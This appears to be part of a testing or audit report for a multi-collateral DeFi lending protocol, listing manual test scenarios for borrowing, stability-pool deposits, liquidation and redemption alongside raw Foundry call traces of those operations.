  │   ├─ [57780] clipManager::decayBaseRateFromBorrowing(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246])
  │   │   ├─ emit BaseRateUpdated(_asset: wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], _baseRate: 0)
  │   │   ├─ emit LastFeeOpTimeUpdated(_asset: wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], _lastFeeOpTime: 1691533294)
  │   │   └─ ← ()
  │   ├─ [4275] clipManager::getBorrowingFee(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], 150000000000000000000) [staticcall]
  │   │   ├─ [392] attributes::getBorrowingFeeFloor() [staticcall]
  │   │   │   └─ ← 5000000000000000
  │   │   └─ ← 750000000000000000
  │   ├─ [2404] attributes::feeCollector() [staticcall]
  │   │   └─ ← FeeCollectorMock: [0x185a4dc360CE69bDCceE33b3784B0282f7961aea]
  │   ├─ [47043] lSDCToken::mint(FeeCollectorMock: [0x185a4dc360CE69bDCceE33b3784B0282f7961aea], 750000000000000000)
  │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: FeeCollectorMock: [0x185a4dc360CE69bDCceE33b3784B0282f7961aea], value: 750000000000000000)
  │   │   └─ ← ()
  │   ├─ [2370] attributes::getMinNetDebt() [staticcall]
  │   │   └─ ← 490000000000000000000
  │   ├─ [2392] attributes::getLSDCGasCompensation() [staticcall]
  │   │   └─ ← 10000000000000000000
  │   ├─ [2370] attributes::getMCR() [staticcall]
  │   │   └─ ← 1250000000000000000
  │   ├─ [13859] clipManager::updateValidationRewards(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246])
  │   │   ├─ [10796] activePool::claimStakingRewardsAndSendToPool(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246])
  │   │   │   ├─ [2465] attributes::getValidationRewardToken() [staticcall]
  │   │   │   │   └─ ← wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246]
  │   │   │   ├─ [564] wTNT::balanceOf(activePool: [0x26d512B637822899a044D7F2c8735c605D8B0868]) [staticcall]
  │   │   │   │   └─ ← 0
  │   │   │   └─ ← ()
  │   │   └─ ← ()
  │   ├─ [21123] clipManager::setClipStatus(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436], 1)
  │   │   └─ ← ()
  │   ├─ [23295] clipManager::increaseClipColl(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436], 10000000000000000000)
  │   │   └─ ← 10000000000000000000
  │   ├─ [23285] clipManager::increaseClipDebt(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436], 151750000000000000000)
  │   │   └─ ← 151750000000000000000
  │   ├─ [11513] clipManager::updateClipRewardSnapshots(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436])
  │   │   ├─ emit ClipSnapshotsUpdated(_asset: wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], _L_ETH: 0, _L_LSDCDebt: 0)
  │   │   └─ ← ()
  │   ├─ [6696] clipManager::updateClipValidationRewardSnapshots(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436])
  │   │   ├─ emit ClipValidationRewardSnapshotsUpdated(_asset: wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], V_Reward: 0)
  │   │   └─ ← ()
  │   ├─ [49560] clipManager::updateStakeAndTotalStakes(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436])
  │   │   ├─ emit TotalStakesUpdated(_asset: wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], _newTotalStakes: 10000000000000000000)
  │   │   └─ ← 10000000000000000000
  │   ├─ [134751] sortedClips::insert(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436], 658978583196046128, borrower: [0x05650444aCe15A01762Bd97EE8fDeb495
b3C2436])
  │   │   ├─ [10884] clipManager::getNominalICR(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], 0x0000000000000000000000000000000000000000) [staticcall]
  │   │   │   └─ ← 115792089237316195423570985008687907853269984665640564039457584007913129639935
  │   │   ├─ emit NodeAdded(_asset: wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], _id: borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436], _NICR: 658978583196046128)
  │   │   └─ ← ()
  │   ├─ [45930] clipManager::addClipOwnerToArray(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436])
  │   │   └─ ← 0
  │   ├─ emit ClipCreated(_asset: wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], _borrower: borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436], arrayIndex: 0)
  │   ├─ [2402] wTNT::decimals() [staticcall]
  │   │   └─ ← 18
  │   ├─ [25953] wTNT::transferFrom(borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436], activePool: [0x26d512B637822899a044D7F2c8735c605D8B0868], 10000000000000000000)
  │   │   ├─ emit Transfer(from: borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436], to: activePool: [0x26d512B637822899a044D7F2c8735c605D8B0868], value: 10000000000000000000)
  │   │   └─ ← true
  │   ├─ [26902] activePool::receivedERC20(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], 10000000000000000000)
  │   │   ├─ emit ActivePoolETHBalanceUpdated(_asset: wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], _ETH: 10000000000000000000)
  │   │   └─ ← ()
  │   ├─ [24458] activePool::increaseLSDCDebt(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], 150750000000000000000)
  │   │   ├─ emit ActivePoolLSDCDebtUpdated(_asset: wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], _LSDCDebt: 150750000000000000000)
```

2. Tests focused on repaying LSDC and withdrawing collateral from the clips (as a borrower of the protocol and using multiple collateral tokens)

- Repay 50% of the clip debt.
- Withdraw some collateral from the clip.
- Check how the new ICR is calculated.
- Check how the new index of the clip is calculated and reinserted.
- Check if exist a situation where the borrower cannot repay the debt.

3. Tests focused on providing liquidity to the stability pool (as an SP depositor of the protocol)

- Only one depositor on the system as liquidity provider to the stability pool.
- More than one depositor as liquidity providers in the protocol.
- Check the flow of the LSDC and collaterals tokens when active clips are updated.
- Check the flow of the LSDC and collaterals tokens when a clip is liquidated.

```
├─ [3346] priceFeedTestnet::setPrice(0x0000000000000000000000000000000000000000, 150000000000000000000)
│   └─ ← true
├─ [228396] clipManager::liquidate(0x0000000000000000000000000000000000000000, borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436])
│   ├─ [606] priceFeedTestnet::fetchPrice(0x0000000000000000000000000000000000000000)
│   │   └─ ← 150000000000000000000
│   ├─ [2425] stabilityPool::getTotalLSDCDeposits() [staticcall]
│   │   └─ ← 0
│   ├─ [370] attributes::getMCR() [staticcall]
│   │   └─ ← 1250000000000000000
│   ├─ [6456] defaultPool::decreaseLSDCDebt(0x0000000000000000000000000000000000000000, 0)
│   │   ├─ emit DefaultPoolLSDCDebtUpdated(_asset: 0x0000000000000000000000000000000000000000, _LSDCDebt: 0)
│   │   └─ ← ()
│   ├─ [2686] activePool::increaseLSDCDebt(0x0000000000000000000000000000000000000000, 0)
│   │   ├─ emit ActivePoolLSDCDebtUpdated(_asset: 0x0000000000000000000000000000000000000000, _LSDCDebt: 3035000000000000000000)
│   │   └─ ← ()
│   ├─ [12554] defaultPool::sendETHToActivePool(0x0000000000000000000000000000000000000000, 0)
│   │   ├─ emit DefaultPoolETHBalanceUpdated(_asset: 0x0000000000000000000000000000000000000000, _ETH: 0)
│   │   ├─ emit EtherSent(_asset: 0x0000000000000000000000000000000000000000, _to: activePool: [0x26d512B637822899a044D7F2c8735c605D8B0868], _amount: 0)
│   │   ├─ [4191] activePool::fallback()
│   │   │   ├─ emit ActivePoolETHBalanceUpdated(_asset: 0x0000000000000000000000000000000000000000, _ETH: 20000000000000000000)
│   │   │   └─ ← ()
│   │   └─ ← ()
│   ├─ [2796] activePool::claimStakingRewardsAndSendToPool(0x0000000000000000000000000000000000000000)
│   │   ├─ [465] attributes::getValidationRewardToken() [staticcall]
│   │   │   └─ ← wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246]
│   │   ├─ [564] wTNT::balanceOf(activePool: [0x26d512B637822899a044D7F2c8735c605D8B0868]) [staticcall]
│   │   │   └─ ← 0
│   │   └─ ← ()
│   ├─ [2414] attributes::getColGasCompensationPercentDivisor() [staticcall]
│   │   └─ ← 200
│   ├─ [392] attributes::getLSDCGasCompensation() [staticcall]
│   │   └─ ← 10000000000000000000
│   ├─ [633] sortedClips::getSize(0x0000000000000000000000000000000000000000) [staticcall]
│   │   └─ ← 2
│   ├─ emit ClipIndexUpdated(_asset: 0x0000000000000000000000000000000000000000, _borrower: borrower2: [0xD83d18A2EaE2440e272a53f86e617cd9F33c8D68], _newIndex: 0)
│   ├─ [4066] sortedClips::remove(0x0000000000000000000000000000000000000000, borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436])
│   │   ├─ emit NodeRemoved(_asset: 0x0000000000000000000000000000000000000000, _id: borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436])
│   │   └─ ← ()
│   ├─ emit ClipLiquidated(_asset: 0x0000000000000000000000000000000000000000, _borrower: borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436], _debt: 1517500000000000000000, _coll: 10000000000000000000)
│   ├─ emit ClipUpdated(_asset: 0x0000000000000000000000000000000000000000, _borrower: borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436], _debt: 0, _coll: 0, _stake: 0, _operation: 1)
│   ├─ [2717] stabilityPool::offset(0x0000000000000000000000000000000000000000, 0, 0)
│   │   └─ ← ()
│   ├─ emit LTermsUpdated(_asset: 0x0000000000000000000000000000000000000000, _L_ETH: 9950000000000000000, _L_LSDCDebt: 1517500000000000000000)
│   ├─ [2680] activePool::decreaseLSDCDebt(0x0000000000000000000000000000000000000000, 1517500000000000000000)
│   │   ├─ emit ActivePoolLSDCDebtUpdated(_asset: 0x0000000000000000000000000000000000000000, _LSDCDebt: 1517500000000000000000)
│   │   └─ ← ()
│   ├─ [22290] defaultPool::increaseLSDCDebt(0x0000000000000000000000000000000000000000, 1517500000000000000000)
│   │   ├─ emit DefaultPoolLSDCDebtUpdated(_asset: 0x0000000000000000000000000000000000000000, _LSDCDebt: 1517500000000000000000)
│   │   └─ ← ()
│   ├─ [35813] activePool::sendETH(0x0000000000000000000000000000000000000000, defaultPool: [0x4F3232eC227303383A863C6c73231422B33DD0a2], 9950000000000000000)
│   │   ├─ [21836] defaultPool::fallback{value: 9950000000000000000}()
│   │   │   ├─ emit DefaultPoolETHBalanceUpdated(_asset: 0x0000000000000000000000000000000000000000, _ETH: 9950000000000000000)
│   │   │   └─ ← ()
│   │   ├─ emit ActivePoolETHBalanceUpdated(_asset: 0x0000000000000000000000000000000000000000, _ETH: 10050000000000000000)
│   │   ├─ emit EtherSent(_asset: 0x0000000000000000000000000000000000000000, _to: defaultPool: [0x4F3232eC227303383A863C6c73231422B33DD0a2], _amount: 9950000000000000000)
│   │   └─ ← ()
│   ├─ [598] activePool::getETH(0x0000000000000000000000000000000000000000) [staticcall]
│   │   └─ ← 10050000000000000000
│   ├─ [552] defaultPool::getETH(0x0000000000000000000000000000000000000000) [staticcall]
│   │   └─ ← 9950000000000000000
│   ├─ emit SystemSnapshotsUpdated(_asset: 0x0000000000000000000000000000000000000000, _totalStakesSnapshot: 10000000000000000000, _totalCollateralSnapshot: 19950000000000000000)
│   ├─ emit Liquidation(_asset: 0x0000000000000000000000000000000000000000, _liquidatedDebt: 1517500000000000000000, _liquidatedColl: 9950000000000000000, _collGasCompensation: 50000000000000000, _LSDCGasCompensati
│   ├─ [23406] lSDCToken::returnFromPool(gasPool: [0x4F29FE4Fc6dD351D43d8acD9E9654ed0953686f0], provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], 10000000000000000000)
│   │   ├─ emit Transfer(from: gasPool: [0x4F29FE4Fc6dD351D43d8acD9E9654ed0953686f0], to: provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], value: 10000000000000000000)
│   │   └─ ← ()
│   ├─ [11977] activePool::sendETH(0x0000000000000000000000000000000000000000, provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], 50000000000000000)
│   │   ├─ [0] provider::fallback{value: 50000000000000000}()
│   │   │   └─ ← ()
│   │   ├─ emit ActivePoolETHBalanceUpdated(_asset: 0x0000000000000000000000000000000000000000, _ETH: 10000000000000000000)
│   │   ├─ emit EtherSent(_asset: 0x0000000000000000000000000000000000000000, _to: provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], _amount: 50000000000000000)
```

MANUAL TESTING

4. Tests focused on withdrawing liquidity from the stability pool (as an SP depositor of the protocol)

- Depositor of LSDC withdrawing liquidity from the stability pool.
- Check how the TCR is being affected.
- Check how the shares of depositors are being recalculated.

```
├─ [582] lSDCToken::balanceOf(provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1]) [staticcall]
│   └─ ← 1500000000000000000000
├─ [128113] stabilityPool::provideToSP(1500000000000000000000)
│   ├─ [7454] attributes::getAssets() [staticcall]
│   │   └─ ← [0x0000000000000000000000000000000000000000, 0xCe71065D4017F316EC606Fe4422e11eB2c47c246]
│   ├─ emit ETHGainWithdrawn(_asset: 0x0000000000000000000000000000000000000000, _depositor: provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], _ETH: 0, _LSDCLoss: 0)
│   ├─ emit ETHGainWithdrawn(_asset: wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], _depositor: provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], _ETH: 0, _LSDCLoss: 0)
│   ├─ [3097] wTNT::transfer(provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], 0)
│   │   ├─ emit Transfer(from: stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], to: provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], value: 0)
│   │   └─ ← true
│   ├─ emit TenetPaidToDepositor(_depositor: provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], _tenetGain: 0)
│   ├─ [18746] lSDCToken::sendToPool(provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], 1500000000000000000000)
│   │   ├─ emit Transfer(from: provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], to: stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], value: 1500000000000000000000)
│   │   └─ ← ()
│   ├─ emit StabilityPoolLSDCBalanceUpdated(_newBalance: 1500000000000000000000)
│   ├─ [1454] attributes::getAssets() [staticcall]
│   │   └─ ← [0x0000000000000000000000000000000000000000, 0xCe71065D4017F316EC606Fe4422e11eB2c47c246]
│   ├─ emit DepositSnapshotUpdated(_depositor: provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], _P: 1000000000000000000, _S: 0, _T: 0)
│   ├─ emit UserDepositChanged(_depositor: provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], _newDeposit: 1500000000000000000000)
│   └─ ← ()
├─ [0] console::log(##########################################################################################) [staticcall]
│   └─ ← ()
├─ [564] wTNT::balanceOf(borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436]) [staticcall]
│   └─ ← 100000000000000000000
├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d631000000000000000000000000000000000000000000000000000000000000000000000000000
726f776572292920202020202020202020202020202d2d3e2000000000000000000000000000000) [staticcall]
│   └─ ← ()
├─ [564] wTNT::balanceOf(activePool: [0x26d512B637822899a044D7F2c8735c605D8B0868]) [staticcall]
│   └─ ← 0
├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
697665506f6f6c2929202020202020202020202d2d3e2000000000000000000000000000000) [staticcall]
│   └─ ← ()
├─ [564] wTNT::balanceOf(stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102]) [staticcall]
│   └─ ← 0
├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
62696c697479506f6f6c29292020202020202020202d2d3e2000000000000000000000000000000) [staticcall]
│   └─ ← ()
├─ [564] wTNT::balanceOf(defaultPool: [0x4F3232eC227303383A863C6c73231422B33DD0a2]) [staticcall]
│   └─ ← 0
├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
61756c74506f6f6c29292020202020202020202020202d2d3e2000000000000000000000000000000) [staticcall]
│   └─ ← ()
├─ [564] wTNT::balanceOf(gasPool: [0x4F29FE4Fc6dD351D43d8acD9E9654ed0953686f0]) [staticcall]
│   └─ ← 0
├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
506f6f6c2929202020202020202020202020202020202d2d3e2000000000000000000000000000000) [staticcall]
│   └─ ← ()
├─ [564] wTNT::balanceOf(provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1]) [staticcall]
│   └─ ← 100000000000000000000
├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d631000000000000000000000000000000000000000000000000000000000000000000000000000
7669646572292920202020202020202020202020202d2d3e2000000000000000000000000000000) [staticcall]
│   └─ ← ()
├─ [0] console::log(----------------------------------------------------------------------) [staticcall]
│   └─ ← ()
├─ [582] lSDCToken::balanceOf(borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436]) [staticcall]
│   └─ ← 1500000000000000000000
├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000005150ae84a8cdf0000000000000000000000000000000000000000000000000000000000000000000000000000
7328626f72726f776572292920202020202020202d2d3e2000000000000000000000000000000) [staticcall]
│   └─ ← ()
├─ [582] lSDCToken::balanceOf(activePool: [0x26d512B637822899a044D7F2c8735c605D8B0868]) [staticcall]
│   └─ ← 0
├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
7328616374697665506f6f6c29292020202020202d2d3e2000000000000000000000000000000) [staticcall]
│   └─ ← ()
├─ [582] lSDCToken::balanceOf(stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102]) [staticcall]
│   └─ ← 1500000000000000000000
├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000005150ae84a8cdf0000000000000000000000000000000000000000000000000000000000000000000000000000
732873746162696c697479506f6f6c2929202020202d2d3e2000000000000000000000000000000) [staticcall]
│   └─ ← ()
├─ [582] lSDCToken::balanceOf(defaultPool: [0x4F3232eC227303383A863C6c73231422B33DD0a2]) [staticcall]
```


MANUAL TESTING

5. Tests focused on liquidate and redeem (checking the different scenarios for closing the clips and distributing the rewards)

- Basic checks when ICR < MCR, the clip can be liquidated.
- Checks whether a user can redeem collateral with not enough valid clips.
- Checks whether a user can redeem collateral with sufficient valid clips.
- Check the priority of the chosen clips is properly working.

6. Tests depending on the state of the protocol

- Check if actions like withdrawing LSDC from the stability pool are not allowed while there are clips with ICR < MCR in the system.
- The user needs to have at least one active clip to withdraw gains to clips.
- There is no possibility to send LSDC tokens directly to StabilityPool , ClipManager or BorrowerOperations contracts.

```
├─ [0] VM::stopPrank()
│   └─ ← ()
├─ [0] VM::startPrank(provider2: [0x158Cc083CFbcfFB2f983A3aA8B027Eb0711C9831])
│   └─ ← ()
├─ [582] lSDCToken::balanceOf(provider2: [0x158Cc083CFbcfFB2f983A3aA8B027Eb0711C9831]) [staticcall]
│   └─ ← 1500000000000000000000
├─ [150013] stabilityPool::provideToSP(750000000000000000000)
│   ├─ [7454] attributes::getAssets() [staticcall]
│   │   └─ ← [0x0000000000000000000000000000000000000000, 0xCe71065D4017F316EC606Fe4422e11eB2c47c246]
│   ├─ emit ETHGainWithdrawn(_asset: 0x0000000000000000000000000000000000000000, _depositor: provider2: [0x158Cc083CFbcfFB2f983A3aA8B027Eb0711C9831], _ETH: 0, _LSDCLoss: 0)
│   ├─ emit ETHGainWithdrawn(_asset: wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], _depositor: provider2: [0x158Cc083CFbcfFB2f983A3aA8B027Eb0711C9831], _ETH: 0, _LSDCLoss: 0)
│   ├─ [5097] wTNT::transfer(provider2: [0x158Cc083CFbcfFB2f983A3aA8B027Eb0711C9831], 0)
│   │   ├─ emit Transfer(from: stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], to: provider2: [0x158Cc083CFbcfFB2f983A3aA8B027Eb0711C9831], value: 0)
│   │   └─ ← true
│   ├─ emit TenetPaidToDepositor(_depositor: provider2: [0x158Cc083CFbcfFB2f983A3aA8B027Eb0711C9831], _tenetGain: 0)
│   ├─ [23432] lSDCToken::sendToPool(provider2: [0x158Cc083CFbcfFB2f983A3aA8B027Eb0711C9831], stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], 750000000000000000000)
│   │   ├─ emit Transfer(from: provider2: [0x158Cc083CFbcfFB2f983A3aA8B027Eb0711C9831], to: stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], value: 750000000000000000000)
│   │   └─ ← ()
│   ├─ emit StabilityPoolLSDCBalanceUpdated(_newBalance: 750000000000000000000)
│   ├─ [1454] attributes::getAssets() [staticcall]
│   │   └─ ← [0x0000000000000000000000000000000000000000, 0xCe71065D4017F316EC606Fe4422e11eB2c47c246]
│   ├─ emit DepositSnapshotUpdated(_depositor: provider2: [0x158Cc083CFbcfFB2f983A3aA8B027Eb0711C9831], _P: 1000000000000000000, _S: 0, _T: 0)
│   ├─ emit UserDepositChanged(_depositor: provider2: [0x158Cc083CFbcfFB2f983A3aA8B027Eb0711C9831], _newDeposit: 750000000000000000000)
│   └─ ← ()
├─ [0] VM::stopPrank()
│   └─ ← ()
├─ [0] VM::startPrank(provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1])
│   └─ ← ()
├─ [582] lSDCToken::balanceOf(provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1]) [staticcall]
│   └─ ← 1500000000000000000000
├─ [20492] lSDCToken::transfer(MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], 1500000000000000000000)
│   ├─ emit Transfer(from: provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], to: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], value: 1500000000000000000000)
│   └─ ← true
├─ [103678] MaliciousProvider::firstDeposit()
│   ├─ [582] lSDCToken::balanceOf(MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17]) [staticcall]
│   │   └─ ← 1500000000000000000000
│   ├─ [97978] stabilityPool::provideToSP(750000000000000000000)
│   │   ├─ [1454] attributes::getAssets() [staticcall]
│   │   │   └─ ← [0x0000000000000000000000000000000000000000, 0xCe71065D4017F316EC606Fe4422e11eB2c47c246]
│   │   ├─ emit ETHGainWithdrawn(_asset: 0x0000000000000000000000000000000000000000, _depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _ETH: 0, _LSDCLoss: 0)
│   │   ├─ emit ETHGainWithdrawn(_asset: wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], _depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _ETH: 0, _LSDCLoss: 0)
│   │   ├─ [2521] TenetRewardIssuanceTester::claim_rewards(stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102])
│   │   │   └─ ← ()
│   │   ├─ [564] wTNT::balanceOf(stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102]) [staticcall]
│   │   │   └─ ← 0
│   │   ├─ [5097] wTNT::transfer(MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], 0)
│   │   │   ├─ emit Transfer(from: stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], to: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], value: 0)
│   │   │   └─ ← true
│   │   ├─ emit TenetPaidToDepositor(_depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _tenetGain: 0)
│   │   ├─ [3532] lSDCToken::sendToPool(MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], 750000000000000000000)
│   │   │   ├─ emit Transfer(from: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], to: stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], value: 750000000000000000000)
│   │   │   └─ ← ()
│   │   ├─ emit StabilityPoolLSDCBalanceUpdated(_newBalance: 1500000000000000000000)
│   │   ├─ [1454] attributes::getAssets() [staticcall]
│   │   │   └─ ← [0x0000000000000000000000000000000000000000, 0xCe71065D4017F316EC606Fe4422e11eB2c47c246]
│   │   ├─ emit DepositSnapshotUpdated(_depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _P: 1000000000000000000, _S: 0, _T: 0)
│   │   ├─ emit UserDepositChanged(_depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _newDeposit: 750000000000000000000)
│   │   └─ ← ()
│   └─ ← ()
├─ [0] console::log(################################################################################################) [staticcall]
│   └─ ← ()
├─ [564] wTNT::balanceOf(borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436]) [staticcall]
│   └─ ← 100000000000000000000
├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000
'26f7765722929202020202020202020202020202d2d3e2000000000000000000000000000000) [staticcall]
│   └─ ← ()
├─ [564] wTNT::balanceOf(activePool: [0x26d512B637822899a044D7F2c8735c605D8B0868]) [staticcall]
│   └─ ← 0
```

7. Combine and perform integration tests with all the critical functionalities within the protocol (borrowers, depositors, liquidators, redeemers)

- Set 4 depositors as liquidity providers to the stability pool.
- Set 4 borrowers of LSDC.
- Set 2 redeemers of LSDC.
- Change the price of the collateral in the oracle.
- Redeemers redeem collateral.
- Clips being liquidated.
- Check the flow of LSDC and collateral tokens is properly working.

```
├─ [3346] priceFeedTestnet::setPrice(0x0000000000000000000000000000000000000000, 150000000000000000000)
│   └─ ← true
├─ [361168] clipManager::liquidate(0x0000000000000000000000000000000000000000, borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436])
│   ├─ [606] priceFeedTestnet::fetchPrice(0x0000000000000000000000000000000000000000)
│   │   └─ ← 150000000000000000000
│   ├─ [425] stabilityPool::getTotalLSDCDeposits() [staticcall]
│   │   └─ ← 1500000000000000000000
│   ├─ [370] attributes::getMCR() [staticcall]
│   │   └─ ← 1250000000000000000
│   ├─ [6456] defaultPool::decreaseLSDCDebt(0x0000000000000000000000000000000000000000, 0)
│   │   ├─ emit DefaultPoolLSDCDebtUpdated(_asset: 0x0000000000000000000000000000000000000000, _LSDCDebt: 0)
│   │   └─ ← ()
│   ├─ [2686] activePool::increaseLSDCDebt(0x0000000000000000000000000000000000000000, 0)
│   │   ├─ emit ActivePoolLSDCDebtUpdated(_asset: 0x0000000000000000000000000000000000000000, _LSDCDebt: 6070000000000000000000)
│   │   └─ ← ()
│   ├─ [12554] defaultPool::sendETHToActivePool(0x0000000000000000000000000000000000000000, 0)
│   │   ├─ emit DefaultPoolETHBalanceUpdated(_asset: 0x0000000000000000000000000000000000000000, _ETH: 0)
│   │   ├─ emit EtherSent(_asset: 0x0000000000000000000000000000000000000000, _to: activePool: [0x26d512B637822899a044D7F2c8735c605D8B0868], _amount: 0)
│   │   ├─ [4191] activePool::fallback()
│   │   │   ├─ emit ActivePoolETHBalanceUpdated(_asset: 0x0000000000000000000000000000000000000000, _ETH: 40000000000000000000)
│   │   │   └─ ← ()
│   │   └─ ← ()
│   ├─ [2796] activePool::claimStakingRewardsAndSendToPool(0x0000000000000000000000000000000000000000)
│   │   ├─ [465] attributes::getValidationRewardToken() [staticcall]
│   │   │   └─ ← wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246]
